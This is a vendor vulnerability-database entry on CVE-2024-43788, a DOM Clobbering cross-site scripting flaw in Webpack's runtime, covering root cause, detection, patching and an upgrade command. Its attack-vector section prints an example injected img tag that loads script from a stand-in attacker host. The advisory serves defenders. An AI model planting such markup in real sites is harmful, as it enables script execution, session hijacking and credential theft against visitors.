The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2024-43788

CVE-2024-43788: Webpack.js DOM Clobbering XSS Vulnerability

CVE-2024-43788 is a DOM Clobbering XSS vulnerability in Webpack.js that enables attackers to execute malicious scripts through unsanitized HTML attributes. This article covers technical details, affected versions, and mitigation.

Published: April 15, 2026

CVE-2024-43788 Overview

CVE-2024-43788 is a DOM Clobbering vulnerability in Webpack's AutoPublicPathRuntimeModule that can lead to cross-site scripting (XSS) attacks. Webpack is a widely-used module bundler primarily designed to bundle JavaScript files for browser usage, though it can also transform, bundle, or package virtually any resource or asset. The vulnerability was discovered by the Webpack developers and has been observed exploited in real-world scenarios within Canvas LMS.

DOM Clobbering is a code-reuse attack technique where attackers embed non-script, seemingly benign HTML markup in a webpage (such as through posts or comments) and leverage existing JavaScript code gadgets to transform this markup into executable code. This vulnerability affects web pages that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Critical Impact

Attackers can achieve cross-site scripting (XSS) on websites using Webpack-generated bundles by injecting scriptless HTML elements such as img tags with unsanitized name attributes, potentially leading to session hijacking, credential theft, and malicious code execution in user browsers.

Affected Products

  • webpack.js webpack (versions prior to 5.94.0)
  • Applications using Webpack-bundled JavaScript files
  • Canvas LMS (confirmed real-world exploitation)

Discovery Timeline

  • 2024-08-27 - CVE CVE-2024-43788 published to NVD
  • 2024-09-03 - Last updated in NVD database

Technical Details for CVE-2024-43788

Vulnerability Analysis

The vulnerability resides in Webpack's AutoPublicPathRuntimeModule, which is responsible for automatically determining the public path for assets at runtime. This module contains a DOM Clobbering gadget that can be exploited when attacker-controlled HTML elements are present on the page.

DOM Clobbering exploits the behavior of browsers where certain HTML elements with name or id attributes can override global JavaScript variables and properties on the document object. When Webpack's runtime code attempts to access certain DOM properties to determine the public path, an attacker can inject HTML elements that "clobber" these properties with malicious values, ultimately leading to script execution.

The attack requires user interaction where the victim visits a page containing both the vulnerable Webpack-generated JavaScript and attacker-injected HTML content. This has been confirmed in real-world exploitation against Canvas LMS, demonstrating the practical exploitability of this vulnerability.

Root Cause

The root cause is insufficient validation in the AutoPublicPathRuntimeModule when accessing DOM properties to determine the script's public path. The module does not properly sanitize or validate that the DOM elements it accesses are legitimate browser-created elements rather than attacker-injected HTML elements with matching name or id attributes that can override expected property values.

Attack Vector

The attack is conducted over the network and requires user interaction. An attacker must first inject scriptless HTML markup (such as an img tag with a crafted name attribute) into a target webpage. This can be accomplished through user-generated content features like posts, comments, or profile fields that don't properly sanitize the name and id attributes of HTML elements.

When a victim visits the page containing both the malicious HTML and Webpack-bundled JavaScript, the DOM Clobbering gadget in Webpack's runtime code references the attacker-controlled element instead of the expected DOM property. This allows the attacker to inject a malicious URL or JavaScript code that gets executed in the victim's browser context.

The vulnerability mechanism involves the following attack pattern: An attacker embeds an HTML element like <img name="currentScript" src="https://attacker.com/malicious.js"> in user-generated content. When Webpack's AutoPublicPathRuntimeModule attempts to access document.currentScript to determine the script source, it instead retrieves the attacker's injected element, leading to script execution from a malicious source. For detailed technical analysis, see the GitHub Security Advisory and the SCNPS research paper on DOM Clobbering.

Detection Methods for CVE-2024-43788

Indicators of Compromise

  • Presence of HTML elements with suspicious name or id attributes matching DOM properties (e.g., currentScript, baseURI, documentURI)
  • Unexpected script loads from third-party domains in web application traffic logs
  • User-generated content containing <img>, <form>, <embed>, or <object> tags with name attributes targeting DOM properties

Detection Strategies

  • Implement Content Security Policy (CSP) headers to detect and block unauthorized script sources
  • Monitor web application logs for unusual patterns in user-submitted HTML content
  • Deploy web application firewalls (WAF) with rules to detect DOM Clobbering patterns in HTML attributes
  • Conduct regular security audits of user-generated content rendering pipelines

Monitoring Recommendations

  • Enable detailed logging for user-generated content submissions, specifically tracking HTML elements with name and id attributes
  • Monitor client-side error logs for unexpected script loading failures or CSP violations
  • Implement anomaly detection for script resource requests originating from unexpected sources
  • Review Webpack bundle configurations and update monitoring to track the version in use

How to Mitigate CVE-2024-43788

Immediate Actions Required

  • Upgrade Webpack to version 5.94.0 or later immediately
  • Audit all user-generated content input fields to ensure proper sanitization of name and id attributes
  • Implement strict Content Security Policy headers to limit script execution sources
  • Review applications for any custom runtime modules that may contain similar DOM Clobbering vulnerabilities

Patch Information

This vulnerability has been addressed in Webpack release version 5.94.0. The fix is available in the GitHub commit 955e057abc6cc83cbc3fa1e1ef67a49758bf5a61. All users running versions prior to 5.94.0 are advised to upgrade immediately. For additional details, refer to the GitHub Security Advisory GHSA-4vvj-4cpr-p986.

Workarounds

  • There are no known workarounds for this vulnerability; upgrading to version 5.94.0 is required
  • As a defense-in-depth measure, implement strict HTML sanitization that removes or escapes name and id attributes from user-submitted HTML
  • Deploy Content Security Policy headers with strict script-src directives to limit the impact of potential XSS exploitation
  • Consider using DOMPurify or similar sanitization libraries configured to strip potentially dangerous attributes from user content
bash
# Upgrade Webpack to patched version
npm update webpack@5.94.0

# Verify installed version
npm list webpack

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeXSS

  • Vendor/TechWebpack

  • SeverityMEDIUM

  • CVSS Score6.1

  • EPSS Probability1.77%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityLow
  • AvailabilityNone
  • CWE References
  • CWE-79
  • Technical References
  • GitHub Issue Comment

  • Securitum XSS Research
  • Vendor Resources
  • GitHub Commit Change

  • GitHub Security Advisory

  • SCNPS Paper on DOM Clobbering
  • Related CVEs
  • CVE-2025-30360: Webpack-dev-server XSS Vulnerability

  • CVE-2025-30359: Webpack-dev-server XSS Vulnerability

  • CVE-2023-28154: Webpack.js Webpack XSS Vulnerability

  • CVE-2025-68458: Webpack SSRF Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English